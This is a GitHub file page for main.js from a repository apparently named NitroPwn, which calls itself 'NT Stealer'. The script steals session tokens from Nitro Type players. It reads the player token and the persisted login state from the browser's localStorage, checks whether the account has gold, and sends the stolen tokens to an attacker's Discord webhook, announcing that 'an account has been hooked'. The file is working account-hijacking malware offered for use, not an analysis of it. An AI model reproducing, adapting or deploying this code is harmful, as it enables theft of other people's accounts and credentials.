forked from sch144/NitroPwn
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.js
55 lines (52 loc) · 1.43 KB
/
main.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// Grabs details that verifys logins
var Token = window.localStorage.getItem('player_token');
var VerificationToken = window.localStorage.getItem('persist:nt')
let gold;
if (VerificationToken.includes("gold") == true) {
console.log('This account has Nitro Type gold')
gold = 'This account does have gold'
} else {
console.log('Standard account detected')
gold = 'This account does not have gold'
}
// Fetching the webhook & sending its details >:)
fetch(
'YOUR WEBHOOK HERE', // Place in your Discord Webhook here for it to send
{
method: 'post',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(
{
"content": "@everyone An account has been hooked 😈",
"embeds": [
{
"title": "Account Details",
"color": null,
"fields": [
{
"name": "Has gold?",
"value": gold
},
{
"name": "Verification Token",
"value": VerificationToken
},
{
"name": "Main Token",
"value": Token
}
],
"author": {
"name": "NT Stealer"
},
"footer": {
"text": "Developed by sch144!"
}
}
]
}
)
}
)